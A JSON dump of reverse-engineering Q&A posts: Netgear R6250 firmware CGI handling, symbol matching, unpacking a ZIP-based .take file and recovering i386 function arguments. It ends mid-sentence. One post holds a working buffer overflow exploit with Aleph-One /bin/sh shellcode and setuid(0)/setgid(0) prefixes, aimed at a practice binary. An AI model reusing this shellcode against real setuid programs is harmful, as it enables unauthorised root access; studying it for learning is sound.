        "Body": "<p>I'm wondering if anyone can assist me. I'm reverse engineering netgear r6250 firmware just for practice. I've managed to unpack the firmware using binwalk and in the root directory exist the www directory. Looking at the html code I notice the forms references cgi files. However checking through the entire file system I can't seem to find any cgi files. I've read this blog article that mention that in some netgear router and I quote:</p>\n\n<blockquote>\n  <p>apply.cgi is not really a script, but a function that is invoked in the HTTP server </p>\n</blockquote>\n\n<p>So I believe the cgi files might be embedded in the http binary which is located in /usr/sbin in my unpacked firmware version. I don't know if this indeed so. </p>\n\n<p>Can someone point me in the right direction so to know where I can find the cgi files or if they are indeed embedded in the httpd binary? Your assistance will without a doubt be appreciated.</p>\n\n<p><strong>Edit</strong></p>\n\n<p>The below show the screenshot using the find command to search for cgi files and server settings file from the root directory with no results:\n<a href=\"https://i.stack.imgur.com/onvzJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/onvzJ.png\" alt=\"screenshot of searched cgi files and server setting files\"></a></p>\n\n<p>This below image shows the listing of files in the etc directory:\n<a href=\"https://i.stack.imgur.com/fMozw.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fMozw.png\" alt=\"enter image description here\"></a></p>\n\n<p>If you notice there are two symbolic links that are both dangling due to missing linked file. So this leads me to believe that the cgi files (and possibly other files) are created in memory upon boot. What makes it worse is using firmadyne to emulate the firmware doesn't work as I don't get a NIC device up and running with an IP, and I've already emulate another netgear firmware (albeit an old one) using firmadyne. In all defense to the creators of firmadyne they mention that if this occurs its a bug and to report it, which I haven't done as yet. Bottom line is I can't emulate the firmware to prove (or disprove) that maybe the files are created during run-time. Anyway I will keep on researching for now.</p>\n",
        "Title": "Assistance finding CGI files",
        "Tags": "|firmware|",
        "Answer": "<p>While you don't give the necessary details in your question, I decided to give it a go with the <a href=\"http://www.downloads.netgear.com/files/GDC/R6250/R6250-V1.0.4.26_10.1.23.zip\" rel=\"nofollow noreferrer\">R6250-V1.0.4.26_10.1.23.zip</a> from the Netgear website. I don't know how close that is to whatever target you are currently looking at, but the environment look superficially rather similar (especially contents of <code>/etc</code>).</p>\n\n<p>First I used <a href=\"https://github.com/rampageX/firmware-mod-kit\" rel=\"nofollow noreferrer\">firmware-mod-kit</a> to extract the <code>.chk</code> file inside the downloaded <code>.zip</code>:</p>\n\n<pre><code>$ extract-firmware.sh R6250-V1.0.4.26_10.1.23.chk \nFirmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake\n\nScanning firmware...\n\nScan Time:     2018-06-13 17:23:43\nTarget File:   /home/user/netgear/R6250-V1.0.4.26_10.1.23.chk\nMD5 Checksum:  fbb0ddc095cbca7abebe90a19a1b39b7\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n58            0x3A            TRX firmware header, little endian, image size: 19345408 bytes, CRC32: 0xE9FDE7D3, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x23F01C, rootfs offset: 0x0\n86            0x56            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5467936 bytes\n2355286       0x23F056        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 16983563 bytes, 1244 inodes, blocksize: 131072 bytes, created: 2018-04-02 13:08:38\n\nExtracting 2355286 bytes of  header image at offset 0\nExtracting squashfs file system at offset 2355286\nExtracting squashfs files...\nFirmware extraction successful!\nFirmware parts can be found in '/home/user/netgear/fmk/*'\n</code></pre>\n\n<p>Then I started to explore the contents of <code>fmk/rootfs</code> using standard Linux tools. For example only a single <code>.cgi</code> file existed in the whole rootfs.</p>\n\n<pre><code>$ find -name '*.cgi'\n./www/cgi-bin/genie.cgi\n</code></pre>\n\n<p>With <code>grep -R \\.cgi www</code> I was able to find a whole bunch of references to different \"files\" named <code>.cgi</code> used inside forms of the router's web interface.</p>\n\n<p>I then attempted to filter down the list a little further (inside <code>fmk/rootfs/www</code>):</p>\n\n<pre><code>grep -RPho '[^\"]+\\.cgi'|sort -u\n</code></pre>\n\n<p>There were some outliers in the resulting list, but the outcome was useful nevertheless.</p>\n\n<p>Armed with that knowledge I turned back to the rootfs in order to look for the web server. I could have used <code>find -name httpd</code>, as it turns out, but in reality I was looking through <code>/bin</code>, <code>/usr/bin</code> and <code>/usr/sbin</code> in that order and found a binary named <code>httpd</code> in the last one.</p>\n\n<p>Using <code>strings httpd</code> from inside <code>fmk/rootfs/usr/sbin</code> gave me further clues and definitely proved that this was no Nginx or Apache. With <code>strings httpd|grep \\.cgi</code> I was also able to verify that the quote:</p>\n\n<blockquote>\n  <p><code>apply.cgi</code> is not really a script, but a function that is invoked in the HTTP server</p>\n</blockquote>\n\n<p>appears to hold true.</p>\n\n<p>Using <code>readelf -d httpd</code> I figured out the dependencies (excerpt):</p>\n\n<pre><code>$ readelf -d httpd\n\nDynamic section at offset 0xae00c contains 31 entries:\n  Tag        Type                         Name/Value\n 0x00000001 (NEEDED)                     Shared library: [libnat.so]\n 0x00000001 (NEEDED)                     Shared library: [libnvram.so]\n 0x00000001 (NEEDED)                     Shared library: [libacos_shared.so]\n 0x00000001 (NEEDED)                     Shared library: [libcrypt.so.0]\n 0x00000001 (NEEDED)                     Shared library: [libgcc_s.so.1]\n 0x00000001 (NEEDED)                     Shared library: [libssl.so.1.0.0]\n 0x00000001 (NEEDED)                     Shared library: [libcrypto.so.1.0.0]\n 0x00000001 (NEEDED)                     Shared library: [libc.so.0]\n</code></pre>\n\n<p>to know which libraries to look at, should the need come up.</p>\n\n<p>Last but not least I loaded the ELF file <code>httpd</code> into IDA Pro 7.1, turned to the <strong>Strings</strong> subview using <kbd>Shift</kbd>+<kbd>F12</kbd> and started looking for the <code>.cgi</code> names. The <code>apply.cgi</code> you mentioned does not exist (verified by using <code>strings</code> on <code>httpd</code> and <code>grep -R apply\\.cgi fmk/rootfs/www</code>). So I needed to pick another CGI as an example.</p>\n\n<p>I went for <code>userlogin.cgi</code>, which was one of the first names to come up when searching for text <code>.cgi</code> from top down using <kbd>Alt</kbd>+<kbd>T</kbd> in <strong>IDA View-A</strong>.</p>\n\n<p>Listing the cross-references (<kbd>x</kbd>) to the string containing <code>userlogin.cgi</code>:</p>\n\n<pre><code>.rodata:000823DC aUserloginCgi   DCB \"userlogin.cgi\",0\n</code></pre>\n\n<p>turned up several references to <code>sub_F110</code> (<code>.text:0000F110</code>..<code>.text:0001289C</code>), which - when following these cross-references - turned out to be one central \"mega-function\" for parsing HTTP requests and handling the requests to any number of hardcoded <code>.cgi</code> and <code>.htm</code> \"file names\". (NB: make sure to look for references to strings containing <code>cgi-bin</code> as well.)</p>\n\n<p>So your suspicion, based on that quote, was true and with the sole exception of the <code>genie.cgi</code> found on the file system, all other <code>.cgi</code> \"files\" are handled directly by the massive 1.3 MiB <code>httpd</code> binary.</p>\n\n<p>The binary contains strings aplenty and apparently even some assertion strings among them.</p>\n"
    },
    {
        "Id": "15368",
        "CreationDate": "2017-05-18T09:11:52.323",
        "Body": "<p>I have both a Mac and Windows version of the same library. However, while the Mac version has export symbols, the Windows version exports by ordinal. The Mac version uses the PPC architecture making it more difficult to reverse.</p>\n\n<p>Is there any way to heuristically compare these subroutines and copy the export symbols from the Mac version to the Windows version so that I can view them within IDA Pro for the Windows version?</p>\n",
        "Title": "Copy Export Symbols From Mac to Windows PE",
        "Tags": "|ida|windows|powerpc|",
        "Answer": "<p>The <a href=\"https://github.com/joxeankoret/diaphora\" rel=\"nofollow noreferrer\">Diaphora tool</a> by Joxean Koret can match functions in binaries with different architectures using multiple algorithms.</p>\n\n<p>You can also always do it manually: make one match using strings or magic numbers used, then follow cross-references to find more matches.</p>\n"
    },
    {
        "Id": "15376",
        "CreationDate": "2017-05-19T13:24:48.987",
        "Body": "<p>So I noticed that I can write something in PE from the executable</p>\n\n<p>For example if I write 1911 he tells me</p>\n\n<p>[!]Cracked By RAZOR 1911</p>\n\n<p>But if I write something else it will not tell me anything. What is the reason for this?</p>\n\n<p>What names or numbers are included?</p>\n",
        "Title": "Crack an executable in PE",
        "Tags": "|windows|pe|exe|",
        "Answer": "<p>You are using ProtectionID which scans the header for warez group names who like to include them in cracked executables. It doesn't recognize any string that's not a group name defined by the PID's author.</p>\n"
    },
    {
        "Id": "15378",
        "CreationDate": "2017-05-19T16:17:12.673",
        "Body": "<p>I am trying to extract data from a proprietary file type: <code>.take</code>.  I am unfamiliar with file compression and encoding, but it appears as if this file type is acting as some sort of wrapper for other files.  Refer to the following Google Drive \"preview\".  I guess the file has some sort of MIME metadata so Drive can figure out it's contents, but I can't open it with any unzip programs!</p>\n\n<p><a href=\"https://i.stack.imgur.com/ImKAL.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ImKAL.png\" alt=\"enter image description here\"></a></p>\n\n<p>From the looks of this, this file contains some very common file formats (XML, videos, pictures,  protobuf).  I need to extract these files, but cannot download them directly!  The only application I can open the file in is a text editor, and when I do the data is neatly organized in 32-bit chunks.  Possible <a href=\"https://en.wikipedia.org/wiki/FourCC\" rel=\"nofollow noreferrer\">FourCC</a> identification?</p>\n\n<p><a href=\"https://i.stack.imgur.com/FFeN0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/FFeN0.png\" alt=\"enter image description here\"></a></p>\n\n<p>I can obviously write a script to read this data in but I am unsure of even the encoding!  <strong>What suggestions or techniques might I employ to extract the files?</strong> . Can I leverage the fact that I know the details of the compressed files?</p>\n\n<p>Download the file here: <a href=\"http://www.filehosting.org/file/details/666710/QkDRIV0yPMo9llWF/file.take\" rel=\"nofollow noreferrer\">http://www.filehosting.org/file/details/666710/QkDRIV0yPMo9llWF/file.take</a></p>\n",
        "Title": "Strange File Format: How to unpack a set of compressed files?",
        "Tags": "|file-format|decompress|",
        "Answer": "<p>There is nothing special about this file. It's just a ZIP archive.</p>\n\n<p><a href=\"https://i.stack.imgur.com/6b65Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6b65Q.png\" alt=\"header\"></a></p>\n\n<p>See that <code>50 4B 03 04</code>? The <code>PK</code> is a dead giveaway when you take a peak. This is the \"magic number\" identifier for a ZIP archive.</p>\n\n<p>Your standard <code>unzip</code> will work fine:</p>\n\n<pre><code>~/Downloads \u00bb unzip file.take\nArchive:  file.take\n extracting: Bryan Potter - 2017 04 26 110613-balltrajectory.pbuf\n extracting: Bryan Potter - 2017 04 26 110613-clubtrajectory.pbuf\n extracting: Bryan Potter - 2017 04 26 110613-forceplate.pbuf\n extracting: Bryan Potter - 2017 04 26 110613-pressure.pbuf\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.avi\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Down the line.jpg\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.avi\n extracting: Bryan Potter - 2017 0426 110616 AVT Manta_G-033C Face on right.jpg\n extracting: data.xml\n</code></pre>\n\n<p>The binwalk @SYS_V ran said as much, it just wasn't very clear about it. It mentions finding the footer and just assumes you understand what that means.</p>\n\n<pre><code>30047692      0x1CA7DCC       End of Zip archive, footer length: 22\n</code></pre>\n"
    },
    {
        "Id": "15384",
        "CreationDate": "2017-05-20T02:51:49.873",
        "Body": "<p>I tried to exploiting buffer overflow. In the exploit code\nI use the <code>Aleph-One</code> shellcode.</p>\n\n<pre><code>\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"\n</code></pre>\n\n<p>Exploitation is normal, but I modified a little shellcode\nIn order to execute <code>setuid(0)</code> and <code>setgid(0)</code>, on exploit\nI have changed the owner of the exploit into <code>root</code>.</p>\n\n<pre><code>\"\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\" // setuid(0)\n\"\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\" // setgid(0)\n\"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n\"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n\"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\"\n</code></pre>\n\n<p>When in execution, I get the message <code>Illegal Instruction (core dumped)</code></p>\n\n<p><strong>Note</strong>:</p>\n\n<ol>\n<li>I have disabled ASLR</li>\n<li>The vulnerable and exploit programs are compiled using flag   <code>-fno-stack-protector -z execstack -mpreferred-stack-boundary=2</code></li>\n</ol>\n\n<p>Complete exploit code :</p>\n\n<pre><code>#include &lt;string.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;stdlib.h&gt;\n\nchar *prog = \"./bof4\";\nchar shellcode[] = \n   //\"\\xeb\\x0appssssffff\"\n   \"\\x31\\xdb\\x89\\xd8\\xb0\\x17\\xcd\\x80\"\n   \"\\x31\\xdb\\x89\\xd8\\xb0\\x2e\\xcd\\x80\"\n   \"\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\"\n   \"\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n   \"\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh\";\n\nint main (int argc, char **argv) {\n    char buff[111];\n    int i, j;\n    int addr;\n\n    if (argc &gt; 1)\n            sscanf(*(argv+1), \"%x\", &amp;addr);\n    else\n            exit(0);\n    for (i = 0; i &lt; 35; i++) {\n            *(buff+i) = 0x90;\n    }\n    for (j = 0; j &lt; 45; j++, i++) {\n            *(buff+i) = *(shellcode+j);\n    }\n    for (; i + 4 &lt; 110; i += 4) {\n            memcpy(buff+i, &amp;addr, 4);\n    }\n    buff[108] = 0;\n    fwrite(buff, strlen(buff), 1, stdout);\n}\n</code></pre>\n\n<p>Can anyone explain ?</p>\n",
        "Title": "Why always get the message \"Illegal Instruction (core dumped)\"?",
        "Tags": "|x86|linux|exploit|buffer-overflow|",
        "Answer": "<p>Just by guessing as you has the core dump and could check that for sure.</p>\n\n<p>Isn't your issue that the exploit was 45 bytes long and this is what you iterate in the second loop and now when you added more code (<code>setuid(0)</code> &amp; <code>setgid(0)</code>) the loop just finishes in the middle? </p>\n\n<p>Extend your second loop by 16 and check.</p>\n\n<pre><code>for (j = 0; j &lt; 61; j++, i++) {\n    *(buff+i) = *(shellcode+j);\n}\n</code></pre>\n"
    },
    {
        "Id": "15391",
        "CreationDate": "2017-05-20T13:49:32.913",
        "Body": "<p>Consider folowing example code:</p>\n\n<pre><code>program code\n\n\nbuild/program-x86:     file format elf32-i386\n\nDisassembly of section my_text:\n\n080a9dfc &lt;subroutine_fnc&gt;:\n 80a9dfc:   55                      push   %ebp\n 80a9dfd:   89 e5                   mov    %esp,%ebp\n 80a9dff:   57                      push   %edi\n 80a9e00:   56                      push   %esi\n 80a9e01:   53                      push   %ebx\n 80a9e02:   83 ec 14                sub    $0x14,%esp        // 20 bytes for local variables\n 80a9e05:   c7 45 e0 00 00 00 00    movl   $0x0,-0x20(%ebp)  // zero local variable at address bp-0x20\n 80a9e0c:   8d 7d f3                lea    -0xd(%ebp),%edi   // pointer in area of the local variables\n 80a9e0f:   8b 75 0c                mov    0xc(%ebp),%esi    // 2. parameter\n 80a9e12:   83 c6 30                add    $0x30,%esi        // add ascii ASCII '0' to the parameter\n\n 80a9e15:   ba 01 00 00 00          mov    $0x1,%edx         // constatnt 1\n 80a9e1a:   8b 5d 08                mov    0x8(%ebp),%ebx    // 1. function parameter\n 80a9e1d:   89 f9                   mov    %edi,%ecx         // local buffer\n 80a9e1f:   b8 03 00 00 00          mov    $0x3,%eax         // syscall read\n 80a9e24:   cd 80                   int    $0x80             // read(par1, ptr to local var, 1)\n 80a9e26:   83 f8 01                cmp    $0x1,%eax         // return value is 1?\n 80a9e29:   74 0c                   je     80a9e37 &lt;subroutine_fnc+0x3b&gt;  // yes\n 80a9e2b:   bb 01 00 00 00          mov    $0x1,%ebx\n 80a9e30:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9e35:   cd 80                   int    $0x80             // no exit(1)\n\n 80a9e37:   0f b6 45 f3             movzbl -0xd(%ebp),%eax   // expand value to 32 bits\n 80a9e3b:   3c 2f                   cmp    $0x2f,%al         // is value &lt; ASCII '0'\n 80a9e3d:   7e 17                   jle    80a9e56 &lt;subroutine_fnc+0x5a&gt;  // yes end of the subroutine\n 80a9e3f:   0f be d0                movsbl %al,%edx\n 80a9e42:   39 f2                   cmp    %esi,%edx         // is value above &gt;= par2 + '0'\n 80a9e44:   7d 10                   jge    80a9e56 &lt;subroutine_fnc+0x5a&gt;  // yes =&gt; end\n 80a9e46:   8b 45 0c                mov    0xc(%ebp),%eax    // read again param2\n 80a9e49:   0f af 45 e0             imul   -0x20(%ebp),%eax  // multiply ebp-0x20 by param2\n 80a9e4d:   8d 54 10 d0             lea    -0x30(%eax,%edx,1),%edx // add result with read character - ASCII '0'\n 80a9e51:   89 55 e0                mov    %edx,-0x20(%ebp)  // store result to the local variable at ebp-0x20\n 80a9e54:   eb bf                   jmp    80a9e15 &lt;subroutine_fnc+0x19&gt;  // repeat\n\n 80a9e56:   8b 45 e0                mov    -0x20(%ebp),%eax  // function returns value from local variable at ebp-0x20\n 80a9e59:   83 c4 14                add    $0x14,%esp\n 80a9e5c:   5b                      pop    %ebx\n 80a9e5d:   5e                      pop    %esi\n 80a9e5e:   5f                      pop    %edi\n 80a9e5f:   5d                      pop    %ebp\n 80a9e60:   c3                      ret    \n\n080a9e61 &lt;toplevel_fnc&gt;:\n 80a9e61:   55                      push   %ebp\n 80a9e62:   89 e5                   mov    %esp,%ebp\n 80a9e64:   57                      push   %edi\n 80a9e65:   56                      push   %esi\n 80a9e66:   53                      push   %ebx\n 80a9e67:   83 ec 20                sub    $0x20,%esp         // reserve stack space for local variables\n 80a9e6a:   c6 45 f3 41             movb   $0x41,-0xd(%ebp)   // store ASCII 'A' at ebp-0xd\n 80a9e6e:   c7 44 24 04 0a 00 00    movl   $0xa,0x4(%esp)     // store 10 to the first 32-bit slot bellow stack top\n 80a9e75:   00 \n 80a9e76:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)        // store zero to the stack top\n 80a9e7d:   e8 7a ff ff ff          call   80a9dfc &lt;subroutine_fnc&gt; // call subroutine_fnc(0,10)\n 80a9e82:   89 c7                   mov    %eax,%edi          // store result\n 80a9e84:   ba 80 01 00 00          mov    $0x180,%edx\n 80a9e89:   b9 42 02 00 00          mov    $0x242,%ecx\n 80a9e8e:   be 00 7f 0c 08          mov    $0x80c7f00,%esi    // setup pointer to \"data\"\n 80a9e93:   89 f3                   mov    %esi,%ebx\n 80a9e95:   b8 05 00 00 00          mov    $0x5,%eax          // syscall open\n 80a9e9a:   cd 80                   int    $0x80              // open(\"data\", 0x242, 0x180)\n 80a9e9c:   89 45 dc                mov    %eax,-0x24(%ebp)   // store result to ebp-0x24\n 80a9e9f:   85 c0                   test   %eax,%eax          // set flags according to the eax test\n 80a9ea1:   79 0e                   jns    80a9eb1 &lt;toplevel_fnc+0x50&gt;  // sign is not set (&gt;=0)\n 80a9ea3:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9ea8:   89 c3                   mov    %eax,%ebx\n 80a9eaa:   b8 01 00 00 00          mov    $0x1,%eax          // syscall exit\n 80a9eaf:   cd 80                   int    $0x80              // exit(1)\n\n 80a9eb1:   89 7d e0                mov    %edi,-0x20(%ebp)   // store subroutine_fnc result into ebp-0x20\n 80a9eb4:   8d 75 f3                lea    -0xd(%ebp),%esi    // ebp-0xd is pointer to the 'A' character\n 80a9eb7:   eb 22                   jmp    80a9edb &lt;toplevel_fnc+0x7a&gt;\n\n 80a9eb9:   8b 5d dc                mov    -0x24(%ebp),%ebx   // fill ebx by open result (fd)\n 80a9ebc:   89 f1                   mov    %esi,%ecx          // pointer to 'A'\n 80a9ebe:   ba 01 00 00 00          mov    $0x1,%edx\n 80a9ec3:   b8 04 00 00 00          mov    $0x4,%eax          // syscall write\n 80a9ec8:   cd 80                   int    $0x80              // write(fd from open, \"A\", 1)\n 80a9eca:   85 c0                   test   %eax,%eax          // check result\n 80a9ecc:   79 09                   jns    80a9ed7 &lt;toplevel_fnc+0x76&gt;\n 80a9ece:   89 d3                   mov    %edx,%ebx          // setup sign\n 80a9ed0:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9ed5:   cd 80                   int    $0x80              // exit(1)\n 80a9ed7:   83 6d e0 01             subl   $0x1,-0x20(%ebp)   // subtract 1 from ebp-0x20\n 80a9edb:   83 7d e0 00             cmpl   $0x0,-0x20(%ebp)   // value 0 reached\n 80a9edf:   75 d8                   jne    80a9eb9 &lt;toplevel_fnc+0x58&gt; // no =&gt; repeat\n\n 80a9ee1:   8b 5d dc                mov    -0x24(%ebp),%ebx   // fd from open syscall\n 80a9ee4:   b8 06 00 00 00          mov    $0x6,%eax          // syscall close\n 80a9ee9:   cd 80                   int    $0x80              // close(fd from open)\n 80a9eeb:   85 c0                   test   %eax,%eax          // test result\n 80a9eed:   79 0e                   jns    80a9efd &lt;toplevel_fnc+0x9c&gt;\n 80a9eef:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9ef4:   89 c3                   mov    %eax,%ebx\n 80a9ef6:   b8 01 00 00 00          mov    $0x1,%eax\n 80a9efb:   cd 80                   int    $0x80              // for error exit exit(1)\n\n 80a9efd:   89 f8                   mov    %edi,%eax          // restore saved result of\n                                                                  // subroutine_fnc call\n 80a9eff:   83 c4 20                add    $0x20,%esp\n 80a9f02:   5b                      pop    %ebx\n 80a9f03:   5e                      pop    %esi\n 80a9f04:   5f                      pop    %edi\n 80a9f05:   5d                      pop    %ebp\n 80a9f06:   c3                      ret    \n\nprogram data\n\n\nbuild/program-x86:     file format elf32-i386\n\nContents of section my_data:\n 80c7f00 64617461 00                          data.           \n</code></pre>\n\n<p>How can I, in general, learn what arguments does <code>subroutine_fnc</code> use? I am interested in general approach to this. I understand it may not always be 100% possible, but I'm interesting in learning the basics at least.</p>\n",
        "Title": "How to figure out method argument sizes and types in elf32-i386 disasembly?",
        "Tags": "|disassembly|arguments|",
        "Answer": "<h1>The basics</h1>\n\n<p><strong>1. Requisite information: calling convention</strong></p>\n\n<p>In order to determine how arguments are passed to functions, the calling convention must be known.</p>\n\n<p>Function calling conventions depend on the target architecture and the compiler<sup><a href=\"https://en.wikipedia.org/wiki/Calling_convention\" rel=\"nofollow noreferrer\">1</a></sup> (see also: <a href=\"http://agner.org/optimize/calling_conventions.pdf\" rel=\"nofollow noreferrer\">Calling conventions for different C++ compilers and operating systems</a> by Agner Fog). It is not so important that the compiler used to create the code being disassembled above is not explicitly stated because there is enough information in the output to determine target architecture and calling convention.</p>\n\n<p>From the disassembly above, we observe that the instruction set is <code>x86</code>, and the calling convention is <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl\" rel=\"nofollow noreferrer\"><code>cdecl</code></a>. </p>\n\n<p><strong>2. Identifying the calling convention</strong></p>\n\n<p>In this case we can deduce the calling convention from the above disassembly.  We observe behavior that conforms to what is expected of <em>callee</em> functions in terms of saving and restoring registers according to the <code>cdecl</code> convention:</p>\n\n<pre><code>080a9e61 &lt;toplevel_fnc&gt;:\n 80a9e61:   55                      push   %ebp\n 80a9e62:   89 e5                   mov    %esp,%ebp\n 80a9e64:   57                      push   %edi         \n 80a9e65:   56                      push   %esi         \n 80a9e66:   53                      push   %ebx         \n 80a9e67:   83 ec 20                sub    $0x20,%esp\n    .\n    .\n    .\n 80a9eff:   83 c4 20                add    $0x20,%esp\n 80a9f02:   5b                      pop    %ebx\n 80a9f03:   5e                      pop    %esi\n 80a9f04:   5f                      pop    %edi\n 80a9f05:   5d                      pop    %ebp\n 80a9f06:   c3                      ret  \n</code></pre>\n\n<p>and </p>\n\n<pre><code>080a9dfc &lt;subroutine_fnc&gt;:\n 80a9dfc:   55                      push   %ebp\n 80a9dfd:   89 e5                   mov    %esp,%ebp\n 80a9dff:   57                      push   %edi\n 80a9e00:   56                      push   %esi\n 80a9e01:   53                      push   %ebx\n 80a9e02:   83 ec 14                sub    $0x14,%esp\n    .\n    .\n    .\n 80a9e59:   83 c4 14                add    $0x14,%esp\n 80a9e5c:   5b                      pop    %ebx\n 80a9e5d:   5e                      pop    %esi\n 80a9e5e:   5f                      pop    %edi\n 80a9e5f:   5d                      pop    %ebp\n 80a9e60:   c3                      ret\n</code></pre>\n\n<p>In both functions the conventional x86 function prologue is followed by saving the values in registers <code>%edi</code>, <code>%esi</code> and <code>%ebx</code> on the stack. These registers are referred to as <em>callee-save</em> registers (vs. <em>caller-save</em> registers <code>%eax</code>, <code>%ecx</code> and <code>%edx</code>). The previous values of these registers are then restored before <code>ret</code> is executed. </p>\n\n<p>Note: the stack frame for function <code>&lt;toplevel_fnc&gt;</code> is clearly aligned to a 16-byte boundary, indicating that GCC is probably the compiler used to generate the code.</p>\n\n<p><strong>3. Passing arguments to functions in <code>cdecl</code></strong></p>\n\n<blockquote>\n  <p>To make a subrouting call, the caller should:</p>\n  \n  <ol>\n  <li><p>Before calling a subroutine, the caller should save the contents of certain registers that are designated caller-saved. The caller-saved registers are EAX, ECX, EDX. Since the called subroutine is allowed to modify these registers, if the caller relies on their values after the subroutine returns, the caller must push the values in these registers onto the stack (so they can be restore after the subroutine returns.</p></li>\n  <li><p><strong>To pass arguments to the subroutine, push them onto the stack before the call. The arguments should be pushed in inverted order (i.e. last  argument first)</strong>. Since the stack grows down, the first  argument will be stored at the lowest address (this inversion of  arguments was historically used to allow functions to be passed a variable number of  arguments).</p></li>\n  <li><p>To call the subroutine, use the call instruction. This instruction places the return address on top of the arguments on the stack, and branches to the subroutine code. This invokes the subroutine, which should follow the callee rules below.<sup><a href=\"http://www.cs.virginia.edu/~evans/cs216/guides/x86.html#calling\" rel=\"nofollow noreferrer\">2</a></sup></p></li>\n  </ol>\n</blockquote>\n\n<p>The arguments to be passed to <code>&lt;subroutine_fnc&gt;</code> will be saved on the stack prior to the function being called:</p>\n\n<pre><code>080a9e61 &lt;toplevel_fnc&gt;:\n 80a9e61:   55                      push   %ebp\n 80a9e62:   89 e5                   mov    %esp,%ebp\n 80a9e64:   57                      push   %edi\n 80a9e65:   56                      push   %esi\n 80a9e66:   53                      push   %ebx\n 80a9e67:   83 ec 20                sub    $0x20,%esp         \n 80a9e6a:   c6 45 f3 41             movb   $0x41,-0xd(%ebp)\n 80a9e6e:   c7 44 24 04 0a 00 00    movl   $0xa,0x4(%esp)            &lt;- arg 2\n 80a9e75:   00 \n 80a9e76:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)               &lt;- arg 1\n 80a9e7d:   e8 7a ff ff ff          call   80a9dfc &lt;subroutine_fnc&gt;\n</code></pre>\n\n<blockquote>\n  <p>How can I, in general, learn what arguments does <code>subroutine_fnc</code> use?</p>\n</blockquote>\n\n<p>In simple cases (no optimization), if the calling convention is known, there is a good chance the function arguments can be discovered.</p>\n\n<h1>The not so basics: <a href=\"https://gcc.gnu.org/onlinedocs/gcc/Optimize-Options.html\" rel=\"nofollow noreferrer\">optimization</a></h1>\n\n<p>Let us examine disassembly of some object code produced from simple example source (see below) when <code>gcc</code> is executed with the <code>-O3</code> argument (maximum optimization):</p>\n\n<pre><code>080482f0 &lt;main&gt;:\n 80482f0:       b8 01 00 00 00          mov    $0x1,%eax\n 80482f5:       c3                      ret\n\n080483f0 &lt;function&gt;:\n 80483f0:       8b 44 24 08             mov    0x8(%esp),%eax\n 80483f4:       03 44 24 04             add    0x4(%esp),%eax\n 80483f8:       03 44 24 0c             add    0xc(%esp),%eax\n 80483fc:       c3                      ret    \n</code></pre>\n\n<p><strong>What are the arguments to <code>&lt;main&gt;</code>? What are the arguments to <code>&lt;function&gt;</code>? What is the relationship between these two functions, if any?</strong></p>\n\n<p>We can see that quite a bit of information is simply not present in optimized code.</p>\n\n<p>The difference between the optimized object code and unoptimized object code is huge. Unoptimized  assembly of the source can be found here: <a href=\"https://godbolt.org/g/HS57Wp\" rel=\"nofollow noreferrer\">https://godbolt.org/g/HS57Wp</a></p>\n\n<p>Here is the source code (try to guess what is going on, then move the mouse cursor over the block below):</p>\n\n<blockquote class=\"spoiler\">\n  <p>     <code>int function(int a, int b, int c);     //prototype\n\n     int main(void)\n     {\n             int a = 1;\n             int b = 2;\n             int c = 3;\n             int k = function(a, b, c);\n             return k / 6;\n     }<br>\n     int function(int a, int b, int c)\n     {\n             return a + b + c;\n     }</code></p>\n</blockquote>\n\n<p>As we can see from the very simple example above, optimization throws the calling convention out the window, leaving one hard-pressed to figure out what is really happening in the code. In the optimized code, there was no <code>call</code> intruction in <code>&lt;main&gt;</code>, which makes argument identification rather difficult.</p>\n\n<p>More discussion of this can be found here: <a href=\"https://stackoverflow.com/questions/41212726/how-many-arguments-are-passed-in-a-function-call\">How many arguments are passed in a function call?</a></p>\n\n<h2>The even less basics: variable type recovery</h2>\n\n<blockquote>\n  <p>How to figure out method argument sizes and types in elf32-i386 disasembly?</p>\n</blockquote>\n\n<p>Deducing function argument types from disassembly of object code is referred to as <em>type recovery</em>, and is closely related to <a 